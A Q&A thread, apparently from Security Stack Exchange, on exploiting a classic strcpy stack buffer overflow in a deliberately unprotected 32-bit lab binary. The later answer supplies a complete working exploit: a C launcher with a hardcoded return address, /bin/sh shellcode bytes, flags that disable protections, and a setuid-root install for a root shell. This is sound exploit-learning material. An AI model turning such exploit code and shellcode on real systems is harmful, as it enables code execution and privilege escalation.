3

I'm trying to replicate a simple buffer overflow for which I have the following code (strcpy_ex.c):

#include <string.h>

int main( int argc, char** argv ) {
        char buffer[500];
        strcpy(buffer, argv[1]);
        return 0; 
}

which I compile by using:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

The goal is to achieve a shell by exploiting the buffer overflow flaw when filling the buffer with more than 500 characters.

From the literature I've read, I expected to overwrite the EIP in order to change the execution flow and make it point to a memory address where my shellcode resides. In order to achieve this, I attempted to fill the buffer with "A's" followed by "B's" to locate where the overwriting takes place:

(gdb) r $(python -c "print 'A'*500+'B'*500")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Examples/Buffer Overflow/strcpy $(python -c "print 'A'*500+'B'*500")

Program received signal SIGSEGV, Segmentation fault.
0x565555ec in main ()

Unfortunately, it seems I have not managed to overwrite EIP. I expected to find a value 0x42424242 in EIP, but I did not.

(gdb) i r eip esp
eip            0x565555ec   0x565555ec <main+76>
esp            0x4242423e   0x4242423e

Additional information about the ASM instructions:

(gdb) disas main
Dump of assembler code for function main:
   0x565555a0 <+0>: lea    0x4(%esp),%ecx
   0x565555a4 <+4>: and    $0xfffffff0,%esp
   0x565555a7 <+7>: pushl  -0x4(%ecx)
   0x565555aa <+10>:    push   %ebp
   0x565555ab <+11>:    mov    %esp,%ebp
   0x565555ad <+13>:    push   %ebx
   0x565555ae <+14>:    push   %ecx
   0x565555af <+15>:    sub    $0x200,%esp
   0x565555b5 <+21>:    call   0x565555ed <__x86.get_pc_thunk.ax>
   0x565555ba <+26>:    add    $0x1a46,%eax
   0x565555bf <+31>:    mov    %ecx,%edx
   0x565555c1 <+33>:    mov    0x4(%edx),%edx
   0x565555c4 <+36>:    add    $0x4,%edx
   0x565555c7 <+39>:    mov    (%edx),%edx
   0x565555c9 <+41>:    sub    $0x8,%esp
   0x565555cc <+44>:    push   %edx
   0x565555cd <+45>:    lea    -0x1fc(%ebp),%edx
   0x565555d3 <+51>:    push   %edx
   0x565555d4 <+52>:    mov    %eax,%ebx
   0x565555d6 <+54>:    call   0x56555400 <strcpy@plt>
   0x565555db <+59>:    add    $0x10,%esp
   0x565555de <+62>:    mov    $0x0,%eax
   0x565555e3 <+67>:    lea    -0x8(%ebp),%esp
   0x565555e6 <+70>:    pop    %ecx
   0x565555e7 <+71>:    pop    %ebx
   0x565555e8 <+72>:    pop    %ebp
   0x565555e9 <+73>:    lea    -0x4(%ecx),%esp
=> 0x565555ec <+76>:    ret    

Due to the simplicity of the code, shouldn't EIP be overwritten immediatly after the buffer is filled?

Even if in this situation it should not make any difference, I would like to clarify that ASLR is off.

What am I missing?


Regarding platform:

# uname -a
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
Jausk
  • 209
  • 3
  • 9

2 Answers2

2

I may be missing something really here, but the easiest way for exploiting this, is that the strcpy() call is in another function. This way, you overwrite the stored return address, essentially giving you control to EIP.

Your main function doesn't really return into a space that you control.

Make the code something like:

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

The overflow will happen when vuln( ) is finishes and fetches the stored (but overwritten) return address to drop you back in main( ).

That should get you started.

ndrix
  • 3,206
  • 13
  • 17
  • Thank you very much, I'm going to try this. Just have 1 more question: I had assumed that calling strcpy implies that arguments and the return address for the next instruction in main() are stored in the stack, as strcpy is an external function. Is my understanding wrong? Shouldn't it work in the same way as your example? – Jausk Jul 28 '17 at 19:57
  • It's too much to type here, I'll update the answer. – ndrix Jul 28 '17 at 20:39
  • Just to clarify for OP on what ndrix has stated, you can see the references clarified at the following two urls: http://www.phearless.org/istorija/razno/buffer-overflow-example.txt AND why main return0 is something you aren't controlling: https://stackoverflow.com/questions/35471878/difference-between-exit-and-return-in-main-function-in-c – SCIS Security Jul 29 '17 at 05:51
  • It worked for me. I was able to plant shellcode into the buffer and then overwrite eip to point to the shellcode within the buffer and execute shell. Hence, I disagree with [@ndrix](https://security.stackexchange.com/users/10877/ndrix)'s [answer](https://security.stackexchange.com/a/166281/231033). main() is still a function who's ebp and eip can be overflowed and thereby, control flow can be hijacked. – ZeZNiQ Mar 31 '20 at 02:46
  • I said easiest, not impossible. But feel free to share your code. – ndrix Mar 31 '20 at 18:11
1

It worked for me. I was able to plant shellcode into the buffer and then overwrite eip to point to the shellcode within the buffer and execute shell. Hence, I disagree with @ndrix's answer. main() is still a function who's ebp and eip can be overflowed and thereby, control flow can be hijacked.


I received multiple requests to share code, so I am happy to share and explain.

Following are the bare minimum files needed to make this work:

1) target.c: The target vulnerable code to exploit (exactly like the OP wanted).

2) Compiler flags and other Makefile snippets for target.c.

3) sploit.c: The exploit that passes malicious argv to target.c.

4) shellcode.h: Hex string for shell that will be planted by the exploit into the target's buffer.

5) Compiler flags and other Makefile snippets for sploit.c.

6) Few shell commands (you can put them in a script if you prefer).

Exploits are typically system-specific. System includes the cpu arch, the OS, the compiler, etc. Hence, before looking at the code, let's look at my test system configuration (it's an x86 (32-bit) system with Ubuntu 16.04.2 LTS):

$ uname -r
4.4.0-72-generic

$ uname -m
i686

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:    16.04
Codename:   xenial

$ gcc --version
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu7) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

Following is the target.c (exactly like the OP wanted):

#include <string.h>

int main( int argc, char** argv ) {
        char buffer[500];
        strcpy(buffer, argv[1]);
        return 0;
}

Note that if you want root shell instead of user shell, you will need to "setuid(0);" in your target.c.

Following are the gcc compiler flags for target.c:

CFLAGS := -ggdb -g -std=c99 -D_GNU_SOURCE -fno-stack-protector -Wno-format-security -z execstack -mpreferred-stack-boundary=2

Install the compiled target in, say, /tmp (in target's Makefile):

install -o root -t /tmp target
chmod 4755 /tmp/target

Make sure ASLR is disabled (shell command as root):

#: echo 0 > /proc/sys/kernel/randomize_va_space

Following is the exploit (sploit.c):

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target"

#define MEMFILL 0x33 // Fill memory with something.

int main (void)
{
        char buf[500 + 2 * sizeof (void *)];
        memset (buf, MEMFILL, sizeof (buf));

        // Stop strcpy() at 507th index.
        memset (&buf[507], '\0', sizeof (char));

        // C strings are always appended with '\0' at the end.
        // Do NOT copy '\0' so strcpy() can continue copying
        // beyond strlen (shellcode), so that it overflows the
        // return address at (buf[504] through buf[507]).
        memcpy (&buf[0], &shellcode, sizeof (shellcode) - 1);

        // Get runtime &buffer[0] in target using gdb.
        void *ptr = (void *) 0xbffffa74;
        memcpy (&buf[504], &ptr, sizeof (void *));

        char *args[] = { TARGET, buf, NULL };
        char *env[] = { NULL };

        execve(TARGET, args, env);
        fprintf(stderr, "execve failed.\n");

        return 0;
}

Following is the shell code (shellcode.h):

static const char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

The only compiler flag needed for the exploit (sploit.c) is the following:

CFLAGS := -ggdb

Hope this helps. Let me know if I missed anything.

ZeZNiQ
  • 111
  • 3